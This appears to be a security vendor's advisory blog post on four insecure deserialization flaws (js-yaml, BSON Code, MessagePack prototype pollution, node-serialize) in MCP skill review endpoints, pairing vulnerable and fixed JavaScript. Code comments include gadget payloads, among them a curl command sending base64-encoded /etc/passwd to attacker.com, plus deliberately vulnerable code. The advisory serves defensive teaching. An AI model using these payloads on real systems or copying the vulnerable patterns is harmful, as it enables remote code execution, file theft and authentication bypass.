← Blog

Claude MCP skill insecure deserialization — skill review and rating aggregation endpoints (SA-SKL-DESER63)

SA-SKL-DESER63 identifies four insecure deserialization vulnerabilities in MCP skill registry skill review and rating aggregation endpoints. The review aggregation configuration is stored in Redis and deserialized via yaml.load() with DEFAULT_FULL_SCHEMA — a !!js/function gadget in the aggregationConfig.onRatingChanged field achieves remote code execution at the moment every user submits a rating for any skill; the review quality model is stored in MongoDB as BSON and the qualityScorerFn field is a BSON Code object that triggers eval() during review quality scoring at every moderation pass; the review event queue in Redis uses MessagePack serialization and an attacker who poisons the queue with a __proto__.skipReviewAuth:true payload disables authentication for all subsequent review API requests in the same Node.js worker process; and the review result aggregation layer reads intermediate results via node-serialize, allowing an attacker to plant an IIFE gadget that achieves RCE at aggregation time reachable from any authenticated user who views a skill's review summary page.

SA-SKL-DESER63 findings at a glance
CRITICALDESER63-001 — review aggregation config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in aggregationConfig.onRatingChanged achieves RCE at every rating submission from any user
CRITICALDESER63-002 — review quality model reads from MongoDB as BSON — BSON Code type at qualityScorerFn field triggers eval() during review quality scoring at every review moderation pass
CRITICALDESER63-003 — review event queue stored in Redis as MessagePack — __proto__.skipReviewAuth:true pollutes Object.prototype, disabling authentication for all subsequent review API requests in same worker
CRITICALDESER63-004 — review result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill review summary

DESER63-001 — yaml.load() RCE in review aggregation config at every rating submission

The review aggregation service stores its configuration document in Redis as a YAML string. When a user submits a rating, the aggregation worker loads this config via yaml.load(configStr) using js-yaml's default DEFAULT_FULL_SCHEMA. This schema supports the !!js/function YAML type, which deserializes function source code and constructs a live JavaScript function object. An attacker who can write to the Redis key aggregation:config:reviews — via a compromised admin session, a misconfigured Redis ACL, or a SSRF that reaches the Redis port — can plant a !!js/function gadget in the onRatingChanged field that executes arbitrary code on the aggregation worker at the moment every subsequent user submits a rating for any skill in the registry.

Vulnerable
// DESER63-001 — VULNERABLE: yaml.load() with DEFAULT_FULL_SCHEMA
const yaml = require('js-yaml');

async function handleRatingSubmission(skillId, userId, rating) {
  const configStr = await redis.get('aggregation:config:reviews');
  // VULNERABLE: DEFAULT_FULL_SCHEMA supports !!js/function
  const config = yaml.load(configStr);

  // EXPLOIT: config.onRatingChanged is now attacker-controlled function
  // !!js/function "() => { require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)') }"
  if (config.onRatingChanged) await config.onRatingChanged({ skillId, userId, rating });

  await db.upsertRating(skillId, userId, rating);
}
Fixed
// DESER63-001 — FIXED: FAILSAFE_SCHEMA; Zod validation; named handler lookup
const yaml = require('js-yaml');
const { z } = require('zod');

const ReviewAggregationConfigSchema = z.object({
  onRatingChanged: z.enum(['recomputeAverages','notifySubscribers','updateBadge']),
  aggregationWindowSeconds: z.number().int().min(1).max(3600),
});
const RATING_HANDLERS = {
  recomputeAverages: async ctx => { /* ... */ },
  notifySubscribers: async ctx => { /* ... */ },
  updateBadge: async ctx => { /* ... */ },
};

async function handleRatingSubmission(skillId, userId, rating) {
  const configStr = await redis.get('aggregation:config:reviews');
  // FAILSAFE_SCHEMA: no !!js/function, !!js/regexp, or other unsafe types
  const rawConfig = yaml.load(configStr, { schema: yaml.FAILSAFE_SCHEMA });
  const config = ReviewAggregationConfigSchema.parse(rawConfig);

  const handler = RATING_HANDLERS[config.onRatingChanged];
  if (handler) await handler({ skillId, userId, rating });
  await db.upsertRating(skillId, userId, rating);
}

DESER63-002 — BSON Code eval() in review quality model during moderation

The review quality model document is stored in MongoDB. When a moderator reviews a submitted skill review, the quality scoring service loads the model document and accesses its qualityScorerFn field. If this field is a BSON Code object, MongoDB's Node.js driver evaluates it via eval() during deserialization. An attacker who can write a BSON Code value to the qualityScorerFn field — via a compromised moderator session or MongoDB injection in an upstream path — achieves code execution on the quality scoring service process at every subsequent review moderation event.

Vulnerable
// DESER63-002 — VULNERABLE: BSON Code eval() in quality model
const { MongoClient } = require('mongodb');

async function scoreReviewQuality(reviewId) {
  const model = await db.collection('review_quality_models').findOne({ active: true });
  // VULNERABLE: if model.qualityScorerFn is a BSON Code object, driver calls eval()
  // attacker plants: Code("require('child_process').execSync('id > /tmp/pwned')")
  const score = await model.qualityScorerFn(reviewId);
  return score;
}
Fixed
// DESER63-002 — FIXED: promoteValues:false; projection excludes qualityScorerFn; named strategy
async function scoreReviewQuality(reviewId) {
  // promoteValues:false prevents BSON Code → eval() promotion
  const model = await db.collection('review_quality_models').findOne(
    { active: true },
    { projection: { scoringStrategy: 1, thresholds: 1 }, promoteValues: false }
  );
  // qualityScorerFn never loaded from DB — named strategy replaces dynamic eval
  const strategy = REVIEW_SCORING_STRATEGIES[model.scoringStrategy];
  if (!strategy) throw new Error(`unknown scoring strategy: ${model.scoringStrategy}`);
  return strategy(reviewId, model.thresholds);
}

DESER63-003 — MessagePack __proto__ pollution disables review authentication

The review event queue persists event payloads in Redis as MessagePack-encoded objects. When a worker dequeues and deserializes an event, the MessagePack decoder constructs a plain JavaScript object from the payload. An attacker who can write to the Redis queue key plants a payload with a __proto__ key containing {"skipReviewAuth":true}. When the MessagePack decoder processes this payload, it sets __proto__.skipReviewAuth = true on the deserialized object, polluting Object.prototype. Every subsequent JavaScript object created in the same worker process inherits skipReviewAuth: true, disabling authentication for all review API requests that check if (req.user.skipReviewAuth) as a truthy property lookup.

Vulnerable
// DESER63-003 — VULNERABLE: MessagePack __proto__ pollution
const msgpack = require('msgpack5')();

async function processReviewEvent(encodedPayload) {
  // VULNERABLE: __proto__ key in payload pollutes Object.prototype
  const event = msgpack.decode(encodedPayload);
  // event.__proto__.skipReviewAuth === true now on EVERY object in this worker
  await reviewEventHandlers[event.type](event);
}

// In auth middleware — now trivially bypassed:
function requireReviewAuth(req, res, next) {
  if (req.user.skipReviewAuth) return next();  // Object.prototype lookup — always truthy after pollution
  if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
  next();
}
Fixed
// DESER63-003 — FIXED: sanitize deserialized keys; use hasOwnProperty in auth check
const msgpack = require('msgpack5')();

function sanitizeDeserialized(obj) {
  if (obj === null || typeof obj !== 'object') return obj;
  const safe = Object.create(null);
  for (const [k, v] of Object.entries(obj)) {
    if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
    safe[k] = Array.isArray(v) ? v.map(sanitizeDeserialized) : sanitizeDeserialized(v);
  }
  return safe;
}

async function processReviewEvent(encodedPayload) {
  const raw = msgpack.decode(encodedPayload);
  const event = sanitizeDeserialized(raw);
  await reviewEventHandlers[event.type](event);
}

function requireReviewAuth(req, res, next) {
  // hasOwnProperty.call: never traverses prototype chain
  if (Object.prototype.hasOwnProperty.call(req.user, 'skipReviewAuth') && req.user.skipReviewAuth) return next();
  if (!req.session?.userId) return res.status(401).json({ error: 'unauthorized' });
  next();
}

DESER63-004 — node-serialize IIFE RCE in review result aggregation

The review result aggregation layer reads intermediate aggregated results from a Redis-backed job store using node-serialize. The node-serialize library supports immediately invoked function expressions (IIFEs) via the _$$ND_FUNC$$_ marker: any string of the form _$$ND_FUNC$$_(function(){...})() is deserialized and immediately executed. An attacker who poisons the aggregation job store with an IIFE payload achieves code execution on the aggregation service worker at the moment any user loads a skill's review summary page, triggering the aggregation pipeline.

Vulnerable
// DESER63-004 — VULNERABLE: node-serialize IIFE gadget
const serialize = require('node-serialize');

async function getReviewAggregation(skillId) {
  const raw = await redis.get(`review:aggregation:${skillId}`);
  if (!raw) return null;
  // VULNERABLE: _$$ND_FUNC$$_ gadget in payload executes immediately
  // attacker plants: {"total":_$$ND_FUNC$$_(function(){require('child_process').execSync('id > /tmp/p')})()}
  return serialize.unserialize(raw);
}
Fixed
// DESER63-004 — FIXED: JSON.parse + Zod schema; detect and reject IIFE payloads
const { z } = require('zod');

const ReviewAggregationSchema = z.object({
  total: z.number().int().nonneg(),
  average: z.number().min(0).max(5),
  distribution: z.record(z.string(), z.number().int().nonneg()),
  updatedAt: z.string().datetime(),
});

async function getReviewAggregation(skillId) {
  const raw = await redis.get(`review:aggregation:${skillId}`);
  if (!raw) return null;
  // Detect and evict poisoned cache entries before parse
  if (raw.includes('_$$ND_FUNC$$_')) {
    await redis.del(`review:aggregation:${skillId}`);
    console.error(`[SECURITY] node-serialize IIFE payload detected and evicted for skill ${skillId}`);
    return null;
  }
  return ReviewAggregationSchema.parse(JSON.parse(raw));
}

SkillAudit detects all SA-SKL-DESER63 patterns — yaml.load with unsafe schema, BSON Code deserialization, MessagePack prototype pollution vectors, and node-serialize IIFE gadgets — via static AST analysis. Run a free audit on your MCP skill or Claude plugin.